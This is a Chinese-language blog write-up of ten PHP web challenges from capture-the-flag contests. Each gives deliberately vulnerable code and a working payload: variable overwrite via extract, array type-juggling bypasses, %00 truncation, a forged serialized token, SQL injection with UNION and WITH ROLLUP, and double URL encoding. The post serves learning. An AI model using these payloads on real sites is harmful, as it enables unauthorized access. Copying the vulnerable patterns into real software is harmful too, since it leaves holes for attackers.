首页 > Web开发 > 详细

【CTF】10个经典的CTF-web题目学习

时间:2020-06-01 10:12:59      阅读:50      评论:0      收藏:0      [点我收藏+]

对CTF不是很感兴趣,但是从中一些php的安全知识还是不错的,从这个项目中找了10个案例,自己本地搭建环境尝试分析,这篇文章记录一下

extract

<?php
$flag=‘xxx‘; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    { 
        echo‘ctf{xxx}‘; 
    }
   else
   { 
    echo‘Oh.no‘;
   } 
   }
?>

extract函数是把数组里面的键、值映射为变量、值。

该题条件是$shiyan==$content

$shiyan是可控的,而$content为读取一个文件名为$flag的文件内容。

尝试网上的payload:?shiyan=&flag=1

这个思路是覆盖$flag为1,file_get_contents读取1这个不存在的文件内容为空,然后满足条件,读出了flag:

技术分享图片

 

我想到一个加强版:

<?php
$flag=‘xxx‘; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag));
    if($shiyan==$content && $shiyan==‘mkdd‘)
    { 
        echo‘ctf{xxx}‘; 
    }
   else
   { 
    echo‘Oh.no‘;
   } 
   }
?>

我在条件里面加了一个 $shiyan==‘mkdd‘,这个时候上面的方法就不可用了,因为问题在于怎么让file_get_contents读取一个文件,内容为mkdd?这时候需要用到php://input伪协议,直接把post的内容传给$content即可

技术分享图片

 

strcmp

 

<?php
$flag = "flag{xxx}";
if (isset($_GET[‘a‘])) {  
    if (strcmp($_GET[‘a‘], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 

    //比较两个字符串(区分大小写) 
        die(‘Flag: ‘.$flag);  
    else  
        print ‘No‘;  
}

?>

strcmp是对两个变量进行比较,完全相同才返回0,题目的意思就是你传入一个和flag完全相同的值,我就告诉你flag...这不扯淡吗

那肯定还有某些情况下也能返回0?是的,strcmp传入数组的话,会返回null , 而null==0 是true

技术分享图片

绕过过滤的空白字符

<?php
 
$info = ""; 
$req = [];
$flag="flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
 
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
# 条件一,要设置number参数
if(!isset($_GET[‘number‘])){
   header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
 
   die("have a fun!!"); //die — 等同于 exit()
 
}

foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 
    foreach($global_var as $key => $value) { 
        $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)
        is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
    } 
} 
 
 
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 
 
# 条件二 number的值不能是数字
if(is_numeric($_REQUEST[‘number‘])) //is_numeric — 检测变量是否为数字或数字字符串 
{
 
   $info="sorry, you cann‘t input a number!";
 
}

# 条件三 trim处理过的number要等于取整之后的值
elseif($req[‘number‘]!=strval(intval($req[‘number‘]))) //intval — 获取变量的整数值
{
 
     $info = "number must be equal to it‘s integer!! ";  
 
}

# 条件四 trim处理过的number经过反转之后要等于其本身
else
{
 
     $value1 = intval($req["number"]);
     $value2 = intval(strrev($req["number"]));  
 
     if($value1!=$value2){
          $info="no, this is not a palindrome number!";
     }
     else
     {
 
          if(is_palindrome_number($req["number"])){
              $info = "nice! {$value1} is a palindrome number!"; 
          }
          else
          {
             $info=$flag;
          }
     }
 
}
 
echo $info;

 

我对原题进行了简化分析,题目相当于

 

<?php
$flag="flag{xxx}";

// 判断是否为回文
function is_palindrome_number($number) { 
    $number = strval($number); //strval — 获取变量的字符串值
    $i = 0; 
    $j = strlen($number) - 1; //strlen — 获取字符串长度
    while($i < $j) { 
        if($number[$i] !== $number[$j]) { 
            return false; 
        } 
        $i++; 
        $j--; 
    } 
    return true; 
} 


$a=$_GET[‘number‘];
# 需要同时满足以下四个条件
if (!is_numeric($number) # 1、$number不能是数字
    && trim($number)==strval(intval(trim($number))) # 2、$number不能出现字母和大部分符号
    && intval(trim($number))==intval(strrev(trim($number))) # 3、strrev处理之后要和原值相等
    && !is_palindrome_number(trim($number))){ # 4、trim处理之后不能是回文

        echo $flag;
}
else {echo "you did not get the flag"}

?>

分析

1、不能是数字容易满足 比如abc

2、不能出现字母,那abc就不行了,因为有trim,所有考虑

空白字符+数字 但是空白字符有讲究,如果加的是%20,仍然不满足1,比如%201234仍然是数字

trim支持的空白字符

"\0" - NULL 对应%00

"\t" - 制表符 对应%0c

"\n" - 换行 对应%0a

"\x0B" - 垂直制表符 %0b

"\r" - 回车 %0d

" " - 空格 %20

测试发现只有%00满足,所以到这步骤 满足条件的可以是 %00123或者123%00

3、反转之后要和原值相等,这边 %00121 是符合的,因为经过trim后 变成121明显符合

4、要在trim处理之后不能是回文,而121是回文。。。到这步发现是不是走投无路了?此时折回第3步,有没有什么字符串能在strrev之后和原值相等而且还不是回文形式的

5-1、writeup

方法一:数字前加上+号 对应%2b,此时strrev函数处理+121时会当做处理121(其实是我的猜想)因此最终的payload为 %00%2b121 或者 %2b121%00,而121%2b%00是不满足的(也顺应了我的猜想,+毕竟是放在数字前面的,表示正数)

技术分享图片

5-2、方法二:利用intval函数溢出,intval函数在32位机器只支持处理到2147483647,也就是当我们传入大于2147483647的数后,仍然返回2147483647

而2147483647利用strrev处理后的数字为7463847412,也是大于2147483647的,因此intval(‘2147483647‘)=intval(strrev(‘2147483647‘))

技术分享图片

这样也是满足3的,最终的payload就是 %002147483647 或者2147483647%00

5-3、方法三:利用科学计数法,和方法一类似,+0e0表示“正0乘以e的0次方”,所以payload可以是 %00%2b0e0 或者 %00%2d0e0

技术分享图片

多重加密

<?php
        # 包含common.php
    include ‘common.php‘;
        # 合并
    $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
    
    
    class db
    {
        public $where;
        
        ## 魔术方法,执行反序列化的时候调用,后面再研究
        function __wakeup()
        {
            if(!empty($this->where))
            {
                $this->select($this->where);
            }
        }
        
        function select($where)
        {
            # 函数执行一条 MySQL 查询。
            $sql = mysql_query(‘select * from user where ‘.$where);
            
            # 从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
            return @mysql_fetch_array($sql);
            
        }
    }

    if(isset($requset[‘token‘]))
    //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
    {
        $login = unserialize(gzuncompress(base64_decode($requset[‘token‘])));
        //gzuncompress:进行字符串压缩
        //unserialize: 将已序列化的字符串还原回 PHP 的值

        $db = new db();
        $row = $db->select(‘user=\‘‘.mysql_real_escape_string($login[‘user‘]).‘\‘‘);
        //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

        if($login[‘user‘] === ‘ichunqiu‘)
        {
            echo $flag;
        }else if($row[‘pass‘] !== $login[‘pass‘]){
            echo ‘unserialize injection!!‘;
        }else{
            echo "(╯‵□′)╯︵┴─┴ ";
        }
    }else{
        header(‘Location: index.php?error=1‘);
    }

?> 

题目还加了sql语句,其实与核心部分是无关的,我也简化一下题目

 

<?php
    $flag="flag{xxxx}";
    session_start();
    $requset = array_merge($_GET, $_POST, $_SESSION,$_COOKIE);
    if(isset($requset[‘token‘])){  
        $login = unserialize(gzuncompress(base64_decode($requset[‘token‘])));
        if($login[‘user‘] === ‘ichunqiu‘)
        {
            echo $flag;
        }
    }
?> 

 

分析

最终需要的条件是$login=array(‘user‘=>‘array‘) 也就是 unserialize(gzuncompress(base64_decode($requset[‘token‘])))==array(‘user‘=>‘ichunqiu‘)

也就是gzuncompress(base64_decode($requset[‘token‘]))==serialize(array(‘user‘=>‘ichunqiu‘))

也就是base64_decode($requset[‘token‘])==gzcompress(serialize(array(‘user‘=>‘ichunqiu‘))

也就是$requset[‘token‘]==base64_encode(gzcompress(serialize(array(‘user‘=>‘ichunqiu‘))))

因此最终答案是eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

技术分享图片

因缺思汀的绕过

 

<?php
error_reporting(0);

# 生成表单
if (!isset($_POST[‘uname‘]) || !isset($_POST[‘pwd‘])) {
    echo ‘<form action="" method="post">‘."<br/>";
    echo ‘<input name="uname" type="text"/>‘."<br/>";
    echo ‘<input name="pwd" type="text"/>‘."<br/>";
    echo ‘<input type="submit" />‘."<br/>";
    echo ‘</form>‘."<br/>";
    echo ‘<!--source: source.txt-->‘."<br/>";
    die;
}


# 过滤器,不能出现"and|select|from|where|union|join|sleep|benchmark|,|\(|\)"
function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "水可载舟,亦可赛艇!";
        exit();
    }
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die(‘Could not connect: ‘ . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);


# 注入点$_POST[‘uname‘]
$sql="SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname‘]}‘";
$query = mysql_query($sql); 

# 只能返回一行
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
        if($key[‘pwd‘] == $_POST[‘pwd‘]) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
?>

分析

注入点是

$sql="SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname‘]}‘";

条件:

$key[‘pwd‘] == $_POST[‘pwd‘]

也就是说先执行一个sql语句,然后取出pwd字段与传的pwd比较,相等即可。如果没有过滤器,可以通过注入点查出密码,也就没啥难度了。

这边用到with rollup强行增加了一行新的虚拟记录,这样pwd就是null了

技术分享图片

返回null的这条记录,则最后的语句是

admin‘ group by pwd with rollup limit 1 offset 1

技术分享图片

成功获取flag

技术分享图片

 

ereg正则%00截断

 

<?php 

$flag = "flag{xxx}";


if (isset ($_GET[‘password‘])) 
{
  # password必须只包含保护数字和字母
  if (ereg ("^[a-zA-Z0-9]+$", $_GET[‘password‘]) === FALSE)
  {
    echo ‘<p>You password must be alphanumeric</p>‘;
  }
  else if (strlen($_GET[‘password‘]) < 8 && $_GET[‘password‘] > 9999999)
   {
     # 密码中必须包含*-*
     if (strpos ($_GET[‘password‘], ‘*-*‘) !== FALSE) //strpos — 查找字符串首次出现的位置
      {
      die(‘Flag: ‘ . $flag);
      }
      else
      {
        echo(‘<p>*-* have not been found</p>‘); 
       }
      }
     else 
     {
        echo ‘<p>Invalid password</p>‘; 
      }
   } 
?>

需要满足

1、password必须只包含保护数字和字母,ereg正则且密码中要包含*-*

2、密码长度小于8

3、密码的值要大于9999999

分析

1、利用ereg%00绕过的特性 aaaa%00*-* 绕过1

2、利用科学计数法绕过2和3,最终答案1e9%00*-* ,刚好%00传到后台被解析为1个字符,总共7个字符。1e9=1000000000,满足>9999999

其他:9999999设置的不够极限,还可以往后设置两位

技术分享图片

sha()函数

<?php

$flag = "flag{xxx}";

if (isset($_GET[‘name‘]) and isset($_GET[‘password‘])) 
{
    if ($_GET[‘name‘] == $_GET[‘password‘])
        echo ‘<p>Your password can not be your name!</p>‘;
    else if (sha1($_GET[‘name‘]) === sha1($_GET[‘password‘]))
      die(‘Flag: ‘.$flag);
    else
        echo ‘<p>Invalid password.</p>‘;
}
else
    echo ‘<p>Login first!</p>‘;
?>

要求name和password不相等,但是sha1函数处理过之后要相等,那么直接传入name[]=1&password[]=2

因为sha1函数传入数组会返回false,而false===false的结果就是true了

技术分享图片

SESSION验证绕过

 

<?php
$flag = "flag";
session_start(); 
if (isset ($_GET[‘password‘])) {
    if ($_GET[‘password‘] == $_SESSION[‘password‘])
        die (‘Flag: ‘.$flag);
    else
        print ‘<p>Wrong guess.</p>‘;
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

答案是直接传password为空,然后再把session整个删掉。

技术分享图片

 

md5密码绕过

<?php

//配置数据库
if($_POST["name"] && $_POST["passwd"]) {
    $conn = mysql_connect("127.0.0.1", "root", "admin");
    mysql_select_db("test",$conn) or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
//赋值
$user = $_POST["name"];
$pass = md5($_POST["passwd"]);
//sql语句
// select pw from php where user=‘‘ union select ‘e10adc3949ba59abbe56e057f20f883e‘ # 
// ?user=‘ union select ‘e10adc3949ba59abbe56e057f20f883e‘ #&pass=123456
$sql = "select passwd from users where name=‘$user‘";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();

}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if ($row) echo 1;
  if (($row["passwd"]) && (!strcasecmp($pass, $row["passwd"]))) {

    echo "flag{xxx}";
}
else {
    echo("<p>Log in failure!</p>");
  }
}
?>

关键逻辑:选出对应用户名的密码的md5值

$sql = "select pw from php where user=‘$user‘";

取得用户输入的密码用md5函数处理,与上述md5值比较

破解思路是让上述语句返回一个用户可控的md5值,然后密码对应即可,利用了注入

name=‘ union+select+‘202cb962ac59075b964b07152d234b70‘%23&passwd=123

技术分享图片

urldecode

 

<?php
if(eregi("hackerDJ",$_GET["id"])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET["id"] = urldecode($_GET["id"]);
if($_GET["id"] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag{xxx}</p>";
}
?>

其实参数传过去的时候默认就会做一次url解码,而服务端代码本身又写了一个解码函数,那么可以传一个二次url编码的参数过去。payload是id=%2568ackerDJ

技术分享图片

【CTF】10个经典的CTF-web题目学习

原文:https://www.cnblogs.com/mkdd/p/13023618.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!